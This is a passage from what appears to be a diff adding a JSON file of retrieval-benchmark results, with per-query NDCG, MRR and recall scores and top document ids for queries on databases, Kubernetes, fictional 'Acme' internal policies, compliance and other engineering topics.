"strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-vacuum", + "totalRelevant": 1 + }, + { + "query": "pod not restarting", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-probes", + "totalRelevant": 1 + }, + { + "query": "redis pubsub vs streams", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "quic-http3", + "totalRelevant": 1 + }, + { + "query": "tls vs ssl differences", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.43067655807339306, + "mrr": 0.25, + "recall10": 1, + "topDocId": "quic-http3", + "totalRelevant": 1 + }, + { + "query": "JWT vs session cookies", + "category": "negation", + "strategy": "keyword", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "auth-jwt-vs-session", + "totalRelevant": 1 + }, + { + "query": "deploy without downtime", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.38685280723454163, + "mrr": 0.5, + "recall10": 0.5, + "topDocId": "rust-ownership", + "totalRelevant": 2 + }, + { + "query": "session pooling vs transaction pooling", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pooling", + "totalRelevant": 1 + }, + { + "query": "logical replication vs streaming replication", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-replication", + "totalRelevant": 1 + }, + { + "query": "PoW vs PoS consensus", + "category": "negation", + "strategy": "keyword", + "reranked": true, + "ndcg10": 0.5, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "rfc-9110", + "totalRelevant": 1 + }, + { + "query": "Helm vs Kustomize", + "category": "negation", + "strategy": "keyword", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "rfc-9110", + "totalRelevant": 1 + }, + { + "query": "GiST vs GIN vs BRIN", + "category": "negation", + "strategy": "keyword", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-indexes", + "totalRelevant": 1 + }, + { + "query": "Type I vs Type II SOC 2", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "compliance-soc2", + "totalRelevant": 1 + }, + { + "query": "ClusterIP vs NodePort vs LoadBalancer", + "category": "negation", + "strategy": "keyword", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-services", + "totalRelevant": 1 + }, + { + "query": "blocking vs non-blocking IO without polling", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "pg-locks", + "totalRelevant": 2 + }, + { + "query": "no global package installs", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-virtualenv", + "totalRelevant": 1 + }, + { + "query": "rerank not slow", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "k8s-probes", + "totalRelevant": 1 + }, + { + "query": "never trust unverified JWT", + "category": "negation", + "strategy": "keyword", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rfc-7519-jwt", + "totalRelevant": 1 + }, + { + "query": "without leaving production data exposed", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.3065735963827292, + "mrr": 0.3333333333333333, + "recall10": 0.5, + "topDocId": "react-server-components", + "totalRelevant": 2 + }, + { + "query": "rollback that won't lose data", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "ml-distillation", + "totalRelevant": 1 + }, + { + "query": "auth flow except implicit", + "category": "negation", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "auth-oauth2", + "totalRelevant": 1 + }, + { + "query": "重複行 削除 PostgreSQL", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "pg-replication", + "totalRelevant": 1 + }, + { + "query": "cómo configurar pool de conexiones en postgres", + "category": "non_english", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.9197207891481876, + "mrr": 1, + "recall10": 1, + "topDocId": "spanish-postgres", + "totalRelevant": 2 + }, + { + "query": "Redis cache stratégies en production", + "category": "non_english", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.9197207891481876, + "mrr": 1, + "recall10": 1, + "topDocId": "french-redis", + "totalRelevant": 2 + }, + { + "query": "Kubernetes Liveness Probe konfigurieren", + "category": "non_english", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "german-kubernetes", + "totalRelevant": 2 + }, + { + "query": "MongoDB 索引 复合索引 ESR", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.6131471927654584, + "mrr": 1, + "recall10": 0.5, + "topDocId": "chinese-mongodb", + "totalRelevant": 2 + }, + { + "query": "React Hook 사용 useState useEffect", + "category": "non_english", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.7122630665145961, + "mrr": 0.5, + "recall10": 1, + "topDocId": "code-react-hook", + "totalRelevant": 3 + }, + { + "query": "AWS S3 versionamento ciclo de vida", + "category": "non_english", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "portuguese-aws", + "totalRelevant": 2 + }, + { + "query": "PostgreSQL производительность shared_buffers work_mem", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "russian-postgres", + "totalRelevant": 1 + }, + { + "query": "TLS 1.3 المصافحة شهادة", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.9197207891481876, + "mrr": 1, + "recall10": 1, + "topDocId": "arabic-tls", + "totalRelevant": 2 + }, + { + "query": "Python त्रुटि अपवाद हैंडलिंग", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "hindi-python", + "totalRelevant": 1 + }, + { + "query": "Rust ownership memoria garbage collector", + "category": "non_english", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "italian-rust", + "totalRelevant": 2 + }, + { + "query": "Go goroutine channel select", + "category": "non_english", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.9197207891481876, + "mrr": 1, + "recall10": 1, + "topDocId": "vietnamese-go", + "totalRelevant": 2 + }, + { + "query": "PgBouncer 연결 풀 PostgreSQL", + "category": "non_english", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.5, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "russian-postgres", + "totalRelevant": 1 + }, + { + "query": "Kafka 分区 顺序 消费者", + "category": "non_english", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "kafka-partitions", + "totalRelevant": 1 + }, + { + "query": "Kubernetes Liveness Probe Container Neustart", + "category": "non_english", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "german-kubernetes", + "totalRelevant": 2 + }, + { + "query": "best vector database for production", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "secret-rotation", + "totalRelevant": 1 + }, + { + "query": "production postgres tuning checklist", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "production-deploy-checklist", + "totalRelevant": 4 + }, + { + "query": "kubernetes pod failure modes", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.3065735963827292, + "mrr": 0.3333333333333333, + "recall10": 0.5, + "topDocId": "k8s-statefulsets", + "totalRelevant": 2 + }, + { + "query": "vacuum bloat troubleshooting", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-vacuum", + "totalRelevant": 1 + }, + { + "query": "scaling pubsub workloads", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "k8s-deployments", + "totalRelevant": 3 + }, + { + "query": "rerank pipeline retrieval", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.9197207891481876, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-rag", + "totalRelevant": 2 + }, + { + "query": "managing infrastructure as code", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "code-sql-cte", + "totalRelevant": 3 + }, + { + "query": "feature flag rollout strategies", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "production-deploy-checklist", + "totalRelevant": 1 + }, + { + "query": "incident response retrospective", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6240505200038379, + "mrr": 0.5, + "recall10": 1, + "topDocId": "compliance-soc2", + "totalRelevant": 2 + }, + { + "query": "frontend performance baseline", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "frontend-i18n", + "totalRelevant": 1 + }, + { + "query": "css layout patterns modern", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "python-packaging", + "totalRelevant": 1 + }, + { + "query": "internationalization rollout plan", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.43067655807339306, + "mrr": 0.25, + "recall10": 1, + "topDocId": "design-doc-template", + "totalRelevant": 1 + }, + { + "query": "secrets in CI/CD", + "category": "ambiguous", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.8772153153380493, + "mrr": 1, + "recall10": 1, + "topDocId": "secrets-management", + "totalRelevant": 2 + }, + { + "query": "blue green deployment", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.5, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "runbook-deploy-rollback", + "totalRelevant": 1 + }, + { + "query": "logging best practices microservices", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "log-best-practices", + "totalRelevant": 2 + }, + { + "query": "horizontal scaling stateless services", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6240505200038379, + "mrr": 0.5, + "recall10": 1, + "topDocId": "runbook-deploy-rollback", + "totalRelevant": 2 + }, + { + "query": "client side caching strategies", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "grafana-dashboards", + "totalRelevant": 1 + }, + { + "query": "cost optimization S3 storage classes", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "portuguese-aws", + "totalRelevant": 1 + }, + { + "query": "managed message queue choice", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.8796542634124673, + "mrr": 1, + "recall10": 1, + "topDocId": "gcp-pubsub", + "totalRelevant": 4 + }, + { + "query": "embeddings model selection", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.20438239758848611, + "mrr": 0.14285714285714285, + "recall10": 0.5, + "topDocId": "ml-rlhf", + "totalRelevant": 2 + }, + { + "query": "auth strategy multi tenant", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "k8s-deployments", + "totalRelevant": 2 + }, + { + "query": "sharding horizontal partitioning", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.2960819109658652, + "mrr": 0.5, + "recall10": 0.3333333333333333, + "topDocId": "ml-fsdp", + "totalRelevant": 3 + }, + { + "query": "observability spans metrics logs", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.7039180890341347, + "mrr": 1, + "recall10": 0.6666666666666666, + "topDocId": "prometheus-pull", + "totalRelevant": 3 + }, + { + "query": "compliance audit prep", + "category": "ambiguous", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6508205185601091, + "mrr": 1, + "recall10": 0.6666666666666666, + "topDocId": "access-review", + "totalRelevant": 3 + }, + { + "query": "what runbook covers payment outages at Acme", + "category": "internal", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-payment-outage", + "totalRelevant": 1 + }, + { + "query": "what is Acme's on-call escalation policy", + "category": "internal", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "on-call-escalation", + "totalRelevant": 1 + }, + { + "query": "where do I find the deploy rollback runbook", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-deploy-rollback", + "totalRelevant": 1 + }, + { + "query": "what is the Acme database failover procedure", + "category": "internal", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-database-failover", + "totalRelevant": 1 + }, + { + "query": "Acme on-call handoff procedure", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "on-call-handoff", + "totalRelevant": 1 + }, + { + "query": "incident postmortem template at Acme", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "incident-postmortem-template", + "totalRelevant": 1 + }, + { + "query": "ADR template at Acme", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "adr-template", + "totalRelevant": 1 + }, + { + "query": "Acme design doc template", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "design-doc-template", + "totalRelevant": 1 + }, + { + "query": "code review guidelines at Acme", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "code-review-guidelines", + "totalRelevant": 1 + }, + { + "query": "what is Acme's vacation policy", + "category": "internal", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vacation-policy", + "totalRelevant": 1 + }, + { + "query": "how do I submit an expense report at Acme", + "category": "internal", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "expense-report", + "totalRelevant": 1 + }, + { + "query": "Acme secret rotation quarterly", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "secret-rotation", + "totalRelevant": 1 + }, + { + "query": "quarterly access review process", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "compliance-pii", + "totalRelevant": 1 + }, + { + "query": "Acme VPN access policy Tailscale", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vpn-access", + "totalRelevant": 1 + }, + { + "query": "production deploy checklist Acme", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "production-deploy-checklist", + "totalRelevant": 1 + }, + { + "query": "new hire onboarding day 1 Acme", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "new-hire-onboarding", + "totalRelevant": 1 + }, + { + "query": "Acme engineering hiring rubric scores", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "engineering-hiring-rubric", + "totalRelevant": 1 + }, + { + "query": "Acme Slack channel naming conventions", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "slack-channels", + "totalRelevant": 1 + }, + { + "query": "Acme security incident response", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "security-incident-response", + "totalRelevant": 1 + }, + { + "query": "two approvals required for billing changes", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "code-review-guidelines", + "totalRelevant": 1 + }, + { + "query": "PaymentsOnCall escalation Sev1", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "on-call-escalation", + "totalRelevant": 2 + }, + { + "query": "Acme buddy assignment day 1", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "new-hire-onboarding", + "totalRelevant": 1 + }, + { + "query": "Acme staging soak before promotion", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "production-deploy-checklist", + "totalRelevant": 1 + }, + { + "query": "what is the Acme break glass policy", + "category": "internal", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "access-review", + "totalRelevant": 1 + }, + { + "query": "how often does Acme rotate credentials", + "category": "internal", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "secret-rotation", + "totalRelevant": 1 + }, + { + "query": "who reviews access at Acme each quarter", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "access-review", + "totalRelevant": 1 + }, + { + "query": "blameless postmortem culture", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "incident-postmortem-template", + "totalRelevant": 1 + }, + { + "query": "Acme RFC ADR distinction", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "adr-template", + "totalRelevant": 1 + }, + { + "query": "ApplicationSets generators Acme", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "pg-extensions", + "totalRelevant": 1 + }, + { + "query": "30 60 90 check-ins Acme", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "new-hire-onboarding", + "totalRelevant": 1 + }, + { + "query": "incident-private channel Acme", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "security-incident-response", + "totalRelevant": 1 + }, + { + "query": "Acme reimbursement timeline", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "incident-postmortem-template", + "totalRelevant": 1 + }, + { + "query": "Acme deploy rolling restart Vault", + "category": "internal", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "secret-rotation", + "totalRelevant": 1 + }, + { + "query": "engineering hiring committee weekly review", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "engineering-hiring-rubric", + "totalRelevant": 1 + }, + { + "query": "Acme channel archive policy", + "category": "internal", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "slack-channels", + "totalRelevant": 1 + }, + { + "query": "Apache Kafka exactly-once semantics", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.31546487678572877, + "mrr": 0.125, + "recall10": 1, + "topDocId": "aws-sqs-fifo", + "totalRelevant": 1 + }, + { + "query": "OpenAI embeddings text-embedding-3-small", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pgvector", + "totalRelevant": 1 + }, + { + "query": "Datadog APM trace propagation", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "otel-traces", + "totalRelevant": 1 + }, + { + "query": "GitHub Dependabot version updates", + "category": "named_entity", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "pg-replication", + "totalRelevant": 1 + }, + { + "query": "preventing token replay", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "auth-oauth2", + "totalRelevant": 1 + }, + { + "query": "design a dead letter queue", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "gcp-pubsub", + "totalRelevant": 1 + }, + { + "query": "diagnose head-of-line blocking on http2", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.6131471927654584, + "mrr": 1, + "recall10": 0.5, + "topDocId": "quic-http3", + "totalRelevant": 2 + }, + { + "query": "mitigate xz-utils backdoor", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-cve-xz", + "totalRelevant": 1 + }, + { + "query": "prevent N+1 queries in Rails", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rails-active-record", + "totalRelevant": 1 + }, + { + "query": "investigate a deadlock in Postgres", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6131471927654584, + "mrr": 1, + "recall10": 0.5, + "topDocId": "err-deadlock", + "totalRelevant": 2 + }, + { + "query": "set up RPKI for prefix validation", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "bgp-routing", + "totalRelevant": 1 + }, + { + "query": "scale pubsub when consumers fall behind", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0, + "mrr": 0, + "recall10": 0, + "topDocId": "fastify-plugins", + "totalRelevant": 2 + }, + { + "query": "configure PgBouncer transaction pool", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pooling", + "totalRelevant": 1 + }, + { + "query": "rotate quarterly credentials with Vault", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "secret-rotation", + "totalRelevant": 2 + }, + { + "query": "implement a TURN fallback for WebRTC", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "nat-traversal", + "totalRelevant": 1 + }, + { + "query": "set up Patroni with DNS update on failover", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-database-failover", + "totalRelevant": 1 + }, + { + "query": "harden a Lambda execution role", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6131471927654584, + "mrr": 1, + "recall10": 0.5, + "topDocId": "aws-lambda", + "totalRelevant": 2 + }, + { + "query": "implement a TURN STUN ICE pipeline", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "nat-traversal", + "totalRelevant": 1 + }, + { + "query": "set up FSDP training in PyTorch", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-fsdp", + "totalRelevant": 1 + }, + { + "query": "build a multi-stage Dockerfile for a Node app", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.7977228895450266, + "mrr": 1, + "recall10": 1, + "topDocId": "docker-multistage", + "totalRelevant": 2 + }, + { + "query": "set up Helm release with values per environment", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-helm", + "totalRelevant": 1 + }, + { + "query": "configure prometheus to scrape Kubernetes pods", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "prometheus-pull", + "totalRelevant": 1 + }, + { + "query": "design a Grafana dashboard for SLOs", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "grafana-dashboards", + "totalRelevant": 1 + }, + { + "query": "set up Tailscale for remote workers", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "cve-log4shell", + "totalRelevant": 1 + }, + { + "query": "register a Workload Identity Federation pool", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "gcp-iam", + "totalRelevant": 1 + }, + { + "query": "scope reduction for PCI", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "compliance-pci", + "totalRelevant": 1 + }, + { + "query": "respond to a DSAR within one month", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "compliance-gdpr", + "totalRelevant": 1 + }, + { + "query": "sign a BAA before sharing PHI", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "compliance-hipaa", + "totalRelevant": 1 + }, + { + "query": "build an SBOM with Syft", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "supply-chain", + "totalRelevant": 1 + }, + { + "query": "publish artifacts signed with cosign", + "category": "procedural", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "supply-chain", + "totalRelevant": 1 + }, + { + "query": "configure SIP NAT keep-alive", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "aws-vpc", + "totalRelevant": 1 + }, + { + "query": "design a sharded Redis cluster", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "redis-sentinel", + "totalRelevant": 1 + }, + { + "query": "diagnose lock contention in Postgres", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-locks", + "totalRelevant": 2 + }, + { + "query": "scale a write-heavy ClickHouse table", + "category": "procedural", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.5, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "pg-vacuum", + "totalRelevant": 1 + }, + { + "query": "who created the Tendermint consensus protocol?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "blockchain-consensus", + "totalRelevant": 1 + }, + { + "query": "when does Postgres detect a deadlock?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-deadlock", + "totalRelevant": 1 + }, + { + "query": "where is the WAL archived in Postgres?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-wal", + "totalRelevant": 1 + }, + { + "query": "which Helm flag rolls back automatically on failure?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-helm", + "totalRelevant": 1 + }, + { + "query": "what is the WAL?", + "category": "factoid", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.43067655807339306, + "mrr": 0.25, + "recall10": 1, + "topDocId": "sqlite-wal", + "totalRelevant": 1 + }, + { + "query": "who introduced the Transformer paper?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.5, + "mrr": 0.3333333333333333, + "recall10": 1, + "topDocId": "err-deadlock", + "totalRelevant": 1 + }, + { + "query": "when does a JWT expire?", + "category": "factoid", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rfc-7519-jwt", + "totalRelevant": 1 + }, + { + "query": "where is the on-call schedule managed?", + "category": "factoid", + "strategy": "hybrid", + "reranked": 